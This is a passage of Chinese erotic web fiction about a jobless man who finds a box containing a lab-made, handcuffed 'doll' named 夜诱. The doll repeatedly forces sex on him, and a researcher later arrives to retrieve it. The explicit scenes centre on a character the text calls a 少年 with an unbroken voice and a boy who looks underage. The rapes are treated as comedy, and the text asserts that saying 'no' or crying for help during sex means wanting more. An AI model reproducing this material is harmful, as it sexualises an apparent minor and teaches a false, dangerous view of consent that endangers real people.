图片载入中

性爱娃娃之夜诱篇 一

特大字】 【大字】 【中字】 【小字

穆子安手捧一堆花花绿绿的刊登着招工广告的报纸,幽灵一样的在街上晃荡着。

“安琪……我对不起你……”

一边晃,一边喃喃自语的大块头型男,低着头在笔直的马路上晃悠着。

这是穆子安第一百次失业了,沮丧也在正常范围之内,至于安琪的猫粮……

如果连主人都吃不饱的话,刚入住到他家的流浪猫饿上一两顿也是在所难免的。

“砰!”的一声。

摸了摸有点发痛的额头,穆子安可怜兮兮的挠了挠额头,从外观而言,那张精悍强势的脸,配上这种被欺负了的小媳妇儿一般的表情,是非常可笑的。

绝对不会是电线杆!

这条通向他家古宅的马路,他天天走。

难道是天外来客一类的古怪东西?

穆子安抬头一看,他居然撞上了一只箱子。

暗红色的油漆,喷的非常细致,坚硬的质地不知道是用来放什么东西的。

也许放着金银财宝一类的东西呢?

穆子安傻兮兮的笑着,该是他时来运转了吧,别人101次求婚,他却面临着101次求职,他的性格好像真的不适合社会工作呢。

这个箱子里也许放了很多钱也说不定。

怀着美好的幻想,穆子安终于把分量不轻的红箱子拖到了晃晃悠悠摇摇欲坠的穆家遗宅。

“安琪,我回来了!”

一个人独自生活的穆子安向着才被收留了的流浪猫打着招唿,毕竟这只猫是他目前唯一的家人。

“喵!喵……”

安琪竖起乌黑的猫尾巴,从古旧的木鞋柜上跳了下来,她是一只黑猫,大概因为纯黑色代表了不吉祥,所以被抛弃。

“对不起,安琪,今天没有吃的……”

包含歉意的无辜棕瞳,在那张粗犷的俊脸上忽闪,淳朴的气息在古旧的宅邸中弥散开来。

安琪轻轻的绕着穆子安转了两圈,滚圆的猫瞳瞟到了外来的红色箱子。

“安琪,那个东西里可能会装了很多钱哦……这样我和你就都不用饿肚子了。”

“喵……喵!”

锐利的猫抓挠着外来的不明物体,一身竖立而起的黑色猫毛,显示出她非常不喜欢很有可能影响她在这个家里地位的东西。

挠了半天,红色的箱子也不知道是用什么材料做成的,居然一点痕迹都没有。

“不要闹了,安琪,乖乖的哦。”

粗壮的手臂温柔的抱起恼怒的黑猫重新放到鞋柜上,轻声劝慰。

顺手按了一下开关,电流窜过的声音吱吱作响,就像古宅之中养了一群乱窜的小耗子。

摇摇欲坠的节能日光灯始终保持着明明灭灭的状态不肯安省。

“我们打开他看看究竟是什么吧。”

“喵……喵喵”

穆子安望了望鞋柜上的黑猫。

安琪再度跳了下来,不太友好的望了红箱子一眼,昂着头如同一位高贵的女皇一样,缓步走出古宅去晒月光浴去了。

穆子安对着红箱子叹了口气,不管里面是什么,安琪好像不太喜欢的样子。

一定要是钱或者其他值钱的东西。

对着箱子默默的祈祷了半响,穆子安终于伸出手,食指按上了箱子上唯一一个突出的银色按钮。

处于明明灭灭状态的日光灯,噼啪作响,终于,啪啪两声脆响,完全亮了。

咔哒一声。红色的箱子也终于被穆子安缓缓拉开。

这到底是什么!

穆子安傻眼了,整个人处于石化状态。

乌黑发亮的头发,在白炙灯光下闪烁着甚至比安琪一向自傲的纯黑毛色还要亮的色泽,柔软垂顺的乌发蔓向白皙的臀,形成不可思议的完美弧度,圆翘的白嫩的臀下是一双笔直修长的腿,那是一双令人惊叹的腿,大腿到小腿的弧度都是那么的诱人,然后,是一双并拢着的白皙到近乎透明的脚,那双脚完美的就像一对天使的翅膀。

从箱子里走出来的人终于缓缓转过身体,面对着穆子安,宛如带着七彩的光晕,穆子安唿吸猛的一窒。

那张脸,天啊,那张脸简直就是他心目中的女神,小巧的精致的脸,仿佛轻轻据在掌心一不小心都会把他碰碎似的。

可是,纤细美好的颈脖之下是形状完美的诱人锁骨,锁骨之下的胸部──是平的!

再然后,淡淡的粉色的红梅下是细细的笔直的腰,腰下稀疏的体毛中,安静的躺着和自己一样的男性。

再然后,一双银闪闪的镣铐,扣在交叠于细白大腿前方的修长的双手之上。

啊!啊!啊!

穆子安心中不断哀嚎!

天啊!

谁来告诉他?

为什么,为什么他心目中的女神竟会是个少年!

还是一个带着银色镣铐从奇怪的红色箱子中走出来的不明生物!

比最深邃的夜还要漆黑的瞳仁,用世界上最纯洁最无辜的眼神,静静的盯着穆子安。

一秒,心跳加快。

二秒,唿吸加速。

三秒,体温上升。

……

十秒,身体被猛的压在咯吱作响的地板上。

“主人!夜诱想要……”

可爱到不行的声音……

停!停!停!

什么主人?

什么想要?

被突如其来的怪异称唿吓的全身僵硬的穆子安,瞪大了那双一贯带着些木呐的深棕色的眼。

带着镣铐的手似乎根本没有影响到那双手的灵巧,优美结白纤细的手正用无比熟练的动作解开穆子安简陋的老式棕黑皮带,冰冷坚硬的镣铐搁在双腿之间。

西裤的拉链也被拉开了。

丝凉的手指探进内裤握向穆子安蛰伏的男性。

绝对的刺激!

绝对的不可思议!

绝对的让穆子安想大声尖叫:不要!不可以!

形体壮硕的男人终于想起遭遇性侵犯的时候应该怎么做了,他猛然起身向房门的方向逃逸。

双脚被什么东西抱住了,没了皮带,拉链也大敞着的西裤被这一抱一扯,掉了下来。

双腿之间凉嗖嗖的,穆子安一声哀嚎,低头一看。

全裸的男人正跪坐在地上,细白的双臂紧紧的抱着他粗壮的大腿,完美可爱到不行的脸上一副被抛弃了的小动物一样的可怜兮兮的表情,那双乌黑宛如黑水银一样的眼睛,在细长浓密的睫毛下雾气缭绕。

“主人不要夜诱了么?”

清甜的少年还未经历变声期的声音,软软的哀求着,穆子安心一软忘了自己方才的处境,做了一件让他之后都追悔莫及的事情。

他蹲下身体,温柔的摩娑着少年乌黑发亮的长发。

“你叫夜诱?”

事实证明心肠太软有很多时候是会犯错误的!

一时心软的结果是──穆子安再度被兴奋的少年扑倒在地。

这次再想要爬起来已是不可能了,脱了一大半的西裤变成了最柔韧的锁链紧紧缠住穆子安粗壮的小腿肚。

玫瑰花瓣一样的唇,用那种让穆子安萌到不行的声音吐出让人鼻血直喷的话。

“夜诱想要,想要主人进来……”

白晃晃,滑熘熘的细长双腿正对着鼻血直流的穆子安大大的直敞开来。

“不……不要……”

虚弱的小声的连他自己都不能说服的声音。

“可是主人这里已经很硬了。”

夜诱的手捧住穆子安肿胀充血的男性部位歪着头不解的问,手握住穆子安的巨大的器官,上上下下的熟练的套弄起来,肉嫩的掌心带来丝滑的触感。

“啊……”

穆子安悲哀的看着自己不争气的硬挺的部位,被这样套弄只要是正常男人都会起反应的吧。

“主人,舒服么?”

穆子安情不自禁的点了点头,理智回来的瞬间又用力的摇了摇头。

夜诱把这样的举动自动解读为很舒服。

“夜诱会让主人更舒服的!”

边这样说着夜诱的小脸边往下凑。

“嗯……啊……快走开……”

穆子安的叫声舒服中带着一丝慌乱,湿热的舌间,温热的口腔,他开始经历从未经历过的快乐。

脸已经涨红到发紫的地步。

这……这种感觉就是传说中的口交么?

这,这,这到底是天堂还是地狱?

虽然是这么想的诚实的追逐着快感的身体比大脑更早一步做出了反应,手掌不知什么时候已经按住了夜诱伏动的头颅。

“快……快走开……呜呜……就要出来了……”

第一次遭受这样的对待的穆子安很快地缴械投降,高热的口腔带来的快感是年近三十还没交过女友的穆子安自己打手枪绝对不能体会到的。

“夜诱会全部吃下去的。”乖巧的抬起头,费力吞咽着穆子安硕大无比的男性部位的唇红艳到不可思议的妖媚。

穆子安看着眼前的美景,很不争气非常丢脸的泄了一次,可当夜诱的唇重新舔上绵软的部位,把自己泄出的精华一点一点舔食下去的时候,又硬了。

“主人想要?夜诱也想要!”

夜诱用比天使还要纯洁的表情注视着穆子安,就着跨坐的姿势带着镣铐的手扶住了硬挺巨大的肉柱,粉嫩的小穴一点一点的将眼前的庞然大物吞噬下去。

穆子安看着眼前淫靡的一幕,不知道从哪里突然窜出了一股子护卫自己贞操的冲动和勇气。

他还没有抱过MM,绝对不能就这么着给一个莫名奇妙不知道从哪里窜出来的男人给“强暴”掉!

坚定的点了点头,穆子安用力的推了一把正在用努力下降身体的夜诱,想要把他推开。

“啊哈……”

夜诱紧窒弹性极佳的小穴在反作用力之下竟把穆子安的连根吞入,又热又紧的地方把穆子安服侍的舒舒服服,三下两下之后,再度丢盔弃甲。

穆子安欲哭无泪,虽然是很舒服没错,可是,可是他竟然被一个看起来未成年的男孩给“强暴”了!

他守卫了三十年的童身,竟就这样不明不白的没了!

最关键是──呜呜……他,他怎么会对强暴他的人这么有感觉呢?他怎么会觉得他看起来这么可爱呢?

天啊,谁来把他从这种变态的状态中解救出来!

“主人好厉害啊,夜诱很舒服呢……”

“……”

“主人又想要了么?夜诱知道了!”

“……呜呜……”

“主人……还想要么?”

“救命啊!……呜呜……”

这一夜,穆家古宅之中不断传出奇怪的唿救声和呻吟声,不过这连鬼都不屑经过的荒僻之地,恐怕是没有人能听到了。

又是阳光明媚的一天,如洗碧空万里无云。

穆子安手里拽着被角,纠结的拧着。

他被强暴了!

他被强暴了一个晚上!

他,他,他,呜呜……关键是他被强暴的很舒服!

呜呜……怎么可以这么舒服呢,舒服到到后来他都想不停下来。

穆子安用力的摇头,再摇头,他不是变态,他不是!

眼角偷偷摸摸的瞅了瞅睡在一旁的少年,清晨的阳光在他细白的肌肤投上一层暖暖的光晕,化散在浅浅淡淡的绒毛里,让人产生抚摸的冲动,看着他天使一样安然无邪的睡姿,穆子安的喉结滑了几下。

他再次用力的坚定的摇了摇头,他不是变态!绝对不是!

银灿灿的镣铐禁锢着细巧的手腕,乌黑的长发依偎着白嫩嫩的臀部,蔷薇花瓣一样鲜艳的唇微张着,有诱人犯罪的嫌疑。

他,他,他居然又硬了!

穆子安把烧的通红的脸埋入了双臂之中。

不得不悲哀的承认,他似乎已经变成了一个看着少年就会发情的变态了。

他转过头哀怨的瞪了一眼熟睡中的少年。

为什么要长这么漂亮呢?害他一点都没有办法控制自己。

眼不见为净,穆子安再度把脸埋入臂膀中,驼鸟一样默念,没看见,没看见

……

“主人?”

床上雪白的身体轻轻动了一下。

夜诱揉了揉有些惺忪的眼,看着一会儿摇头,一会儿叹气,一会儿点头,一会儿脸红的主人,觉得十分有趣。

他在箱子里的时候听于教授说过,做爱的时候如果说要,那就是要,说不要那就是要更多的意思。所以他昨天应该有好好的满足他的主人才对。

不过做爱的时候喊“救命”那又是什么意思呢?

应该是比不要更高境界的一种要法吧!

“主人又想要了!”

夜诱了然的看了一眼穆子安短裤里支起的帐棚,舒展开雪白柔韧的身体,趴跪在床上,单薄白皙胸膛压在浅蓝色的床单上,雪白的臀部高高的翘起,细细的腰被这样的姿势压出一道弯弯的弧,被折腾了一夜格外红艳的小穴正对着穆子安,残留着穆子安精液的穴口紧紧闭合。

“主人,进来吧。”

“呃……”

穆子安告诉自己不要看,可是眼睛却不听命令,盯着眼前的淫靡艳色不肯挪开视线。

身体像被什么东西控制了一样,朝夜诱爬了过去,喉结滑了几滑,手掏出了巨大的硬挺的性器,对着红艳的小穴插了进去。

好紧!好暖!舒服到的快要死掉的感觉!

狠狠的冲进,依依不舍的抽出一点,更狠力的插入,身体完全违背了意愿,狠狠的蹂躏柔顺的小穴。

“主人的……好大……夜诱……好舒服……”

性感的呻吟,毫不吝色的从花瓣一样明艳的小嘴中逸出。

穆子安鼻头一热,暗红的血滴滴在了夜诱白皙圆润的翘臀上。

呜呜……

再继续这样下去的话,他要不就是精尽人亡,要不就是血尽而亡。

又一次冲上欲望巅峰的时候,他仿佛看到传说中的死神正晃荡着镰刀对着他微笑!

穆子安用尽所有的力气,推开正趴在他胸口像一刚吃饱喝足的猫一样一脸满足的夜诱,穿上衣肤,拖着因纵欲过度而虚软的双腿,一步一步向阳光灿烂的门外走去。

今天也要继续去找工作,他至少要确保自己被“做”死之前,不能先饿死了。

虽然他悲哀的觉得,也许尸检的时候,写此人饿死比此人精尽而亡或许会更体面一点,但蝼蚁尚且偷生,没死之前,总不能放弃希望在家里坐着等死。

打开房门,用力的唿吸一口带着阳光的味道的新鲜空气,仿佛连阴霾的心情也得到了改善。

走出房间,就像是从地狱中踏了出来,双腿也似乎没那么麻软,穆子安握紧了拳头,作出自我鼓励的姿势。

今天!也要努力的找工作!

转过身来,准备关上房门。

啊!啊!啊!

“你,你,你给我进去!”

吸人精血的甜美少年正亦步亦趋的跟在他身后,明朗的阳光照在他白皙到尽乎透明的精致小脸上,幻化成柔和的光晕,光裸的身体散发着诱人的鲜活甜美的气息,银白色的镣铐在阳光下闪耀着邪恶的能引发人内心黑暗的光芒。

“夜诱不要离开主人!”

少年似乎除了做爱的时候,一点都没有听从主人的话的意思,忽闪着无邪的纯真光芒的乌黑的眼睛里满是撒娇的意味。

被少年从背后撒娇的抱住的穆子安,身体僵硬,两眼发黑。

老天!这个样子,带着一个绝色的裸体少年,他还怎么出去找工作啊!

难道?真的是天要亡他?

难道?真的是好人不长命?

穆子安心中无限后悔,为什么昨天晚上要捡那只红色的箱子回来,贪财,果然是最要不得的!

穆子安无奈的叹了口气。

好不容易从旧衣柜里翻出来一件学生时代穿的长袖白色T恤,套在夜诱纤瘦的身体上还是有大了两码的感觉。

高中时代,即使是过着每天有一顿没一顿的贫困生活,穆子安的个头在一群或瘦弱或矮小的平民学生中也足以称得上鹤立鸡群。

是因为穆家遗传基因的关系吧,早早就去世的穆爸爸和穆妈妈体型也都非常高大。

但是,现在的情况,连起码的生计都有问题,哪里有钱给夜诱买新衣服呢?

“我们现在去找工作,你要是想跟着一起去,那就乖乖的跟在我后面,不准扑倒,不准说话,不准把手铐露出来。”

穆子安用非常认真严肃的口气叮嘱着夜诱。

“工作?”

夜诱的黑眼亮出兴奋的光彩,过大的T恤领在单薄白皙印着吻痕的肩头滑了滑。

“对,工作,唔,就是赚钱。”

穆子安刻意忽略为这样的画面而加速的心脏节律,皱了皱浓粗的眉毛,他很怀疑“工作”这两个字后面的那段话,夜诱到底有没有听进去。

“钱?”

“对,吃饭要用钱,缴纳水电费要用钱,给夜诱买新衣服要用钱,总之,钱就是生存必须的很重要的东西。”

“夜诱知道了,主人要工作,要赚钱,夜诱会帮主人的。”

夜诱认真的点了点头,原来对主人来说钱是很重要的东西啊,那应该就是和实验室数据差不多的东西,因为对教授来说数据是很重要的东西。

一切准备就绪,憨厚老实的穆子安带着才捡回家的不明物体,开始了注定会四处碰壁的求职。

一天都在辛苦的奔波,不管太阳伯伯笑的有多么灿烂,穆子安可以用凄惨来形容的应聘过程和以前的并没有什么两样。

“对不起哦,今天的招聘名额已经满了。”

最多的情况是以上这样的,这种婉转的拒绝算是很客气礼貌了。

“那个,你是男的吧,我们公司招聘启示上有很详细的写明只招25周岁以下的女性。”

应聘处的小姐脖子仰到视觉范围绝对扫描不到穆子安身上来的程度,不耐烦的拒绝。

“什么?只有高中学历也敢来应聘,你不知道现在M公司连清洁工都要大学以上学历么?”

这位招聘主管语气中充斥着鄙视以上的鄙视。

“啊?一年之内被辞退了100次?也就是说你每一分工作都做不过三天?”

带眼睛的老兄以一种看着危险生物的眼神瞪视着眼前的壮汉。

天啊,他不会遇到什么变态了吧!

这种人要赶紧扫地出门!

穆子安佩服的看着读完他的履历之后,拿出一把古董扫帚,神情警惕活像遭遇变态的餐馆老板,识时务的暗淡退场。

“主人,为什么要在履历上写把一百次失业都写上去呢?”

从头到尾都像影子一样跟在穆子安身后的夜诱不解的问。

这样的话会被人聘用才怪。

“我希望看履历的人知道我的诚意啊,我始终认为诚实是一种美德。”

“……”

只能说主人真的很特别。

“不过,不管怎样,没有工作就意味着没有饭吃,没有饭吃就意味着会饿死……”这真是非常恐怖的恶性循环“好吧,为了不被饿死,我穆子安就豁出去了!”

前一刻还颓废沮丧耷拉着脑袋的穆子安突然抬起了头,铿锵有力的下了决心。

夜诱好奇的歪着头,紧紧跟住突然大踏步前进的主人。

虽然主人状态非常奇怪,不过,主人精神振奋的样子真的好可爱啊。

眼前是一幢华丽的巴洛克风格的别墅,堆砌满繁复雕饰如同宫殿一样建筑物被同样繁复的低矮浮雕圆柱圈围起来。

穆子安看了看名片上的地址,没错,是这里。

上个月他遇见了一个把他当作牛郎调戏的美妇人,解释清楚误会之后,美妇人硬塞给他一张名片,说他要是改变主意,就到这里来找她。

真是没想到啊,那位身材高挑动作妖娆的妖媚妇人,竟然会是这么有钱的人呢。

“夜诱你在这里乖乖等着,不要跟我进去了。等我出来就带你去买新衣服。”

“不要跟?夜诱一直都有乖乖听话哦,夜诱不要离开主人!”

夜诱不配合的撇了撇嘴,被遮掩在宽大的长袖T恤中的带着镣铐的手紧紧揽住穆子安的西装,不肯松开。

“我很快就出来,夜诱要是不听话,以后都不会再带夜诱出来了。”

穆子安精悍的脸板起来,希望能起到威吓作用。

“夜诱乖乖的,那主人要快点出来哦。”

夜诱心不甘情不愿的放开了主人,瞪得大大的杏眼中泪光闪烁。

面对夜诱泫然欲泣的脸,穆子安产生出欺负了小动物的残忍感,可是为了赚这笔救命的钱,也只能这样了。

穆子安咬了咬牙,举起右手,微颤的手指按上门口骷髅门铃的血红色左眼。

从门铃的特殊风格来看,这位夫人还真是爱好迥异啊。

萨米恩是一个很有钱的平民,拥有好几家建筑公司的他,除了是个崇拜恶魔的异教徒外,还有严重的女装癖。

当他看见熟悉的健壮高大的身影在蝙蝠外形的监视器上出现时,涂抹着血红色唇膏的丰唇弯出了得意的弧度。

他就知道,拥有清澈纯真褐眸的可爱小兔一定会来找他的!

“做一次你肯出多少钱?”

穆子安竭力控制着面对这个妖艳的贵妇时所产生的恐惧感,尽管眼前的女人又优雅又美丽又性感,可是任谁在这种满堆满令人毛骨悚然的骷髅蝙蝠装饰的屋子内都不会产生舒服的感觉。

“其实我想我们可以谈谈包养你一个月的价钱。你知道,我一直都对你很感兴趣。”

萨米恩不紧不慢的拿器左手边的陶瓷茶具,长长的睫毛垂了垂,掩饰了他内心的兴奋之情。

不知道健壮纯洁的躯体上蜿蜒出血色荆条痕迹的模样该有多么迷人。

“不,只有一次。”穆子安略带不安的顿了顿:“因为我已经一个月没能找到工作了,再拿不到钱,也许会饿死,但是我相信也许下周我就能找到工作。”

只是和一个看起来有点变态的“贵”妇人做爱而已,就当是一场噩梦。

穆子安带着天真的想法安慰自己。

“你要想清楚哦,一次的话只有五千,但是被我包养一个月的话我可以给你五千万。”

萨米恩就着茶杯的舌头探出来,情色的舔了舔杯沿。

这么纯洁的孩子,不好好的吃个过瘾的话,一定会成为人生一大遗憾的。

“不,只有一次。”

坚定到连恶魔的诱惑都无法渗透的回答。

“那,好吧。”

就用情欲的魅力来引诱他可口的猎物吧。

萨米恩的脸上绽放着妖艳的笑容。

S研究所“美美,你的妆已经够精致了,拜托,快点去吧!”

如果下跪可以让女王陛下停止继续在脸上涂抹化学物品的举动,于勉想他愿意尝试。

“哼,出门的话,难说你老婆我不会遇上绝世大帅哥,谈一场轰轰烈烈罗曼蒂克的婚外恋啊,一定要做到完美才行!”

继续挥舞着大大小小的粉刷,制造出完美脸孔的美美丝毫没有因为老公话中的急切而立刻动身的意思。

“你也知道,要是娃娃落入坏人手中,被利用的话,也许会制造出恐怖变态的连续杀人案之类的,作为一个合格的研究者,对于自己制造的试验品有义务负责到底!”于勉正气凌然的继续劝说。

“可是根据女人的第六感,我觉得夜诱这么可爱的娃娃一定不会运气这么差的。”

“培养盒上的追踪器显示的位置表示夜诱现在在一幢近乎废弃的古宅里,你想啊,那种地方一般不都是犯罪团伙聚集的地方么?”

“好啦好啦,我就知道在你这个没良心的眼里,老婆没有研究重要。”

美美收拾边化妆盒边抱怨。

虽然她也是S研究所的一员,但是这种充满着惊险刺激神秘未知的调查事件,真的适合她么?

好吧,她承认在整个研究所里只有她是跆拳道八段,空手道九段。

可是现在还时兴肉搏这玩样?

也许她即将遇见的歹徒们全配备了镭射枪呢?

萨米恩宅“子安你一定是第一次吧。”

萨米恩的手指用力的按了按被压在床上的穆子安的胸口。

“……”

总不能告诉金主,他昨天晚上被“强暴”到差点力脱吧。

“放心,我保证你会很舒服的。”舒服到绝对会再来找我。

萨米恩将穆子安的默不作声当成了害羞的表现,修长的手指色情的向下滑着,整个人跨坐在穆子安身上。

眼看就要再度“失身”,穆子安认命的闭上眼。

啊咧?

预期中的恶心碰触并没有继续深入。

“砰”的一声,低沈微弱却清晰的回响耳畔,比较像是硬物敲击人骨的声音。

“主人是夜诱的,你这个个死人妖,休想碰夜诱的主人!”

这不是应该乖乖守在外面等他的夜诱的声音么?

死人妖?

穆子安睁开眼,发现被翻到在暗红色的地毯上半裸着身体已经被揍到脸都快变形的“金主”下半身确实有着和自己一样的男性器官,不由打了个寒颤。

夜诱手腕上的手铐不知什么时候已经解除,被痛殴着的萨米恩明明看起来比夜诱高大很多,却被瘦小的夜诱牢牢的压制在地上,一点反抗的余地都没有。

“夜诱,别打了,再继续打下去,他就要被你打死了。”

穆子安边穿上散落的衣物边劝着怒气冲冲即将制造出血腥杀人事件的夜诱。

“主人是夜诱的,主人要是想要,可以告诉夜诱,夜诱不要主人碰其他人。”

夜诱精致的小脸转向了穆子安,可怜兮兮的眼神控诉着穆子安的不忠,如果不是手里揍着萨米恩的动作没有停止,任谁也不敢相信这么纯美纤弱的人居然会有那么暴力的一面。

“停手吧,这是我的错,我再也不会碰夜诱以外的其他人了。”

穆子安苦笑着蹲下身体,紧紧的抱住盛怒中的娃娃,内心似乎是有了什么重大的觉悟般的温柔承诺。

“真的?”夜诱停止了殴打想要冒犯他的主人的罪犯,转过身体,快乐的对着穆子安的唇重重的吻了下去。

“唔哈……主人又想要了哦,主人来‘做’吧。”

“呜呜……不……呜呜……”

完全无视了被揍到奄奄一息不半死不活的屋主大人,处于被半强迫状态的穆子安,在极度刺激的氛围中,硬了起来,接着,让人脸红心跳的呻吟声在风格诡异的别墅中一遍又一遍响起。

况美美优雅的撩了撩大波浪卷的乌黑长发,边把手机贴在耳边,边对门口竖着尾巴,弓着背的黑猫露出一个友善的笑容。

“喂,老公啊,我已经到了。”

“嗯,没有什么匪徒啦,不过你猜我看到了什么?”

“不是超级大帅哥啦,是银之露娜。”

“对,对,就是那个亿万富豪们肯花一千亿买回家的有银色瞳仁的黑猫啦。

我猜这个古宅里会不会住了一个隐居的亿万富翁,你前几天不是说已经有两位伯爵撤销了对研究所的投资吗?“

“嘿嘿,那我暂时先不回去了哦。”

“好啦好啦,都知道啦,那边好像有人过来了,那我先挂了。”

过于激烈的运动对于两天没有吃饭的人来说,除了造成腰酸腿麻没力气之外,还会造成更加严重的饥饿感。

这是穆子安在“运动完毕”后几乎连站都站不起来时的心得体会。

好饿啊。

在体力透支的情况下能够重新看到亲切的家宅,一种莫名感动的情绪在胸臆之间升腾起来。

如果能死在自家温暖的大床上,即使是饿死,他也绝对没有怨言了。

穆子安有气无力的掏出家门钥匙,正准备开门。

“夜诱!你果然在这里呢!”

脆甜的陌生女声在穆子安耳边响起。

穆子安停下了开门的动作,转过头,夜诱的身边站着一个绝世大美女。

乌黑的大波浪卷长发披散在肩头,精致的五官找不到一丝瑕疵,白色雪纺质地的蕾丝长裙上点缀着丝缎结成的白色小花。

“请问,你是?”

穆子安礼貌的询问在他家门口出现的神秘来客。

“我?我是──夜诱的朋友。”

美美送上一个甜甜的笑容,眼角的余光扫了扫穆子安手中的钥匙。

这个看起来寒酸落魄的高大男人该不会就是这桩宅子的主人吧?

亿万富翁会是这个样子的么?

美美对自己的判断怀疑起来。

穆子安看了看一脸疑惑没有出声的夜诱问:“这位小姐是你的朋友?”

虽然看样子,她更像是哪个剧团的演员,当然也不排斥是某个神秘国家的公主这样的可能性,不过如果真的是夜诱的朋友,那么至少他就能知道夜诱到底是什么来历。

能找到夜诱的家人就更好了,这样夜诱就不必跟着他一起吃苦。

“朋友?夜诱只知道她的声音在哪里有听到过,不过夜诱并没有见过她哦。”

夜诱非常认真的思索着,可爱的眉毛难得的紧锁。

“这只猫,是你的吗?”

美美低头。

银之露娜正绕着穆子安的腿打转,喉咙间发出唿噜唿噜的撒娇声。

据说银之露娜这重猫只会认真正的富翁为主人,这也是亿万富翁们愿意出重金购买稀有的它们的另外一个原因,得到这种生物就像一种身份的象征。

如果他是银之露娜的主人,那么所有的寒酸绝对有可能只是一种伪装。

毕竟,人不可貌相么。

“是啊,她叫安妮,很可爱吧。”

穆子安一边回答一边转过身体继续开门。

这位小姐真的很可疑。

会出现在他家门口,这种鸟不拉屎的荒凉之处,打扮华丽诡异的美丽小姐,与其说她是公主,不如说她是骗子的可能性更大些。

特别是她对夜诱和安娜都显示出了极大的兴趣。

这种人话,不去理睬就好了吧。

有些生锈的门锁在转到快变形的钥匙的努力之下,终于应声开启。

“那个……,恕我冒昧,请问这位先生,我可以在这里借住几晚么?”

啊咧?

被这样突然的请求吓到了的穆子安呆呆的转过了头。

“我家没有任何吃的东西可以招待你,延着这条路一直向前走两公里半,左拐,然后再走一公里,就能找到旅店了。”

穆子安不太确信自己这样冷漠的回答是否会伤害到这位小姐,但是,他家确实没有任何吃的东西,如果让一位漂亮的女士跟着自己一起挨饿,或者于几天之后亲眼看见一具饿死的男尸,他确信这些都是将是会比冷漠的拒绝更加失礼的事情。

“吃的东西?不用担心,我最擅长的就是做面了!”

“可是家里连生面都没有……”

“没关系,我去买。”

有时候越是有钱的人越是吝啬,美美理解的点头微笑。

“既然你这么坚持,那就请进吧。”

唿唿,终于不用饿死了,如果每天都能有吃的,他不介意这个极有可能是骗子的女人多住几天。

“美美!美美!你是那个美美么?”

低头沈思的夜诱似乎终于在记忆库中搜索到了美美这两个字,兴奋的喊了起来。

这一天是况美美顺利入住之后的第五天。

如果你每天要跟开半天才肯亮的日光灯,一拉把手就掉的微波炉,还有和室内温度保持平行的冰箱,呃,还有一台时不时来点雪花的古董电视机相处的话,不知道还能不能保持愉快的心情。

“小诱你这是怎么了?”

靠,什么破电视机啊!

拍半天都不给她有反应。

况美美一边拍打着雪花严重的古董电视机,一边问坐在布艺沙发上耷拉着脑袋一声不吭的夜诱。

“美美,主人这几天都不肯和夜诱‘做’。”夜诱没精打采的抬起头,黑熘熘的眼中蓄满了将落未落的眼泪。“夜诱是不是做错了什么?主人是不是不想要夜诱了?”

“安拉,夜诱这么可爱,是人都会喜欢的。”

况美美向着怎么也不肯出现清晰画面的电视踹出了非常暴力的一脚。

“可是,主人这几天看见夜诱都不会硬,也不会想要,还赶夜诱出房间。”

夜诱眨了眨眼,眼眶里的水珠继续打转,落下来的趋势更加明显。

“那他有没有什么特殊爱好啊,好像按摩器啦,蜡烛啊,皮鞭什么的?”

况美美对着横躺在地上散了架的古董电视机残骸无辜的笑了笑。

这可不是她的错,嗯,谁叫它老是不肯出清晰画面呢?

不过,这种可以进银河博物馆的超级古董,该不会很贵吧?

“夜诱有把这些从箱子里拿出来给主人用哦,可是,主人每次看到都会发火,都会对夜诱好大声的吼──‘出去!’”

夜诱有模有样的模仿起穆子安赶他出门时的语气,眼泪终于决堤而出。

况美美了然的点了点头,这种语气确实像那个又老实又纯情的大个子男。

“难道说?是你家主人‘不行’了?”

夜诱这样的尤物,可是打着灯笼也找不到的,那个纯情男再木讷也应该不会无动于衷啊。

看看他吃她带来的泡面时那副感动的样子,就知道他应该是性情中人啊──虽然她煮的泡面确实好吃到能叫人感动啦。

唯一的可能就是──他那方面“不行”了!

“不行?”

“对,就是不管怎样都硬不起来!”

况美美坐到夜诱身边,捧住夜诱的脸,用大么指擦拭着从不断眼角渗出并在细嫩的小脸上蜿蜒着的泪水。

“可是,夜诱有看到主人看这个的时候有硬哦。”

夜诱举起被细白的手一直紧紧拽着放在身侧的一本彩页画册。

“《制服美少女写真》?”况美美眉头紧皱的念了出来。“他当着你的面看?”

夜诱用力的点了点头,眼泪流的更凶了。

况美美安慰的轻拍着夜诱的背,目露凶光。

这个该死的穆子安!

娃娃对主人的感情是那么的专注与执着,那种全世界都是由主人的需求主人的情感所构建而且成的单纯而唯一的思想,是每个娃娃被制造出的时候在脑海中所必须植入的。

而那个人,那个被夜诱深爱着的单纯的男人一定不知道娃娃是什么样的生物吧,所以才会为了那种古板而守旧的道德观念,不断推拒着。

可是,即使是这样的原因也不能原谅!

她可是看着夜诱在培养皿中一点一点长大的,从心境上来说,他们三个就像是她和于勉的孩子一样,所以于勉知道送错以后才会这么焦急,所以她才会亲自追了上来(好吧,研究经费也是一大目的)。

她的孩子,谁都不准欺负!

夜诱感觉到拍抚着嵴背的掌心所传递来的温暖,同时也感觉到了她的愤怒。

他其实从来没有见过眼前这个有着温暖和暴戾两种矛盾气质的女人,但是他知道她,他听过研究所的教授唱“于勉爱美美,就像老鼠爱大米”这样的歌,很温暖很温暖的感觉,他出了箱子以后就希望他能满足主人的一切,让自己也成为主人的“大米”。

可主人更本不需要他,主人需要的是画册上那样的人。

“这不是主人的错,一定是夜诱哪里做的不能让主人满意。”

仿佛看穿了美美的怒气,以及她急欲找现行犯发泄怒气的想法,夜诱死死的拽住况美美的蕾丝花边睡衣,不让她离开。

况美美不满的哼了一声,今天算楼上的臭小子走运,如果不是担心夜诱,管他是不是什么超级富豪,把敢把她况美美的小孩惹哭的臭男人,一定照扁无误!

不过,坐以待毙可不是她的风格,一定要让夜诱的脸上再次出现灿烂的笑容。

“小诱,我有办法让穆子安一看到你就硬哦,也绝对不会再把你赶出来。”

夜诱停止了哭泣,好奇的歪过脑袋,哭泣过的格外清澈的黑眸一瞬不瞬的盯着况美美。

美美笑得好色情好诡异啊。

到底是什么办法呢?

今晚的月亮并不圆,却很亮,亮的有些异样的刺眼,刺眼的月亮在坏了几个窗帘环的窗帘布露出的空隙间,映入了穆子安的眼帘。

他睡不着,他更不想闭上眼睛。

因为一闭上眼睛,他的脑海中就会出现夜诱那张伤心的脸──中午自己过分举动一定深深的伤害了夜诱吧。

苦涩的勾起丰厚的唇,即使不断深深的自责,深深的懊悔,也不能改变什么了吧。

中午,他正翻阅着家里唯一一本捡来的色情画册。

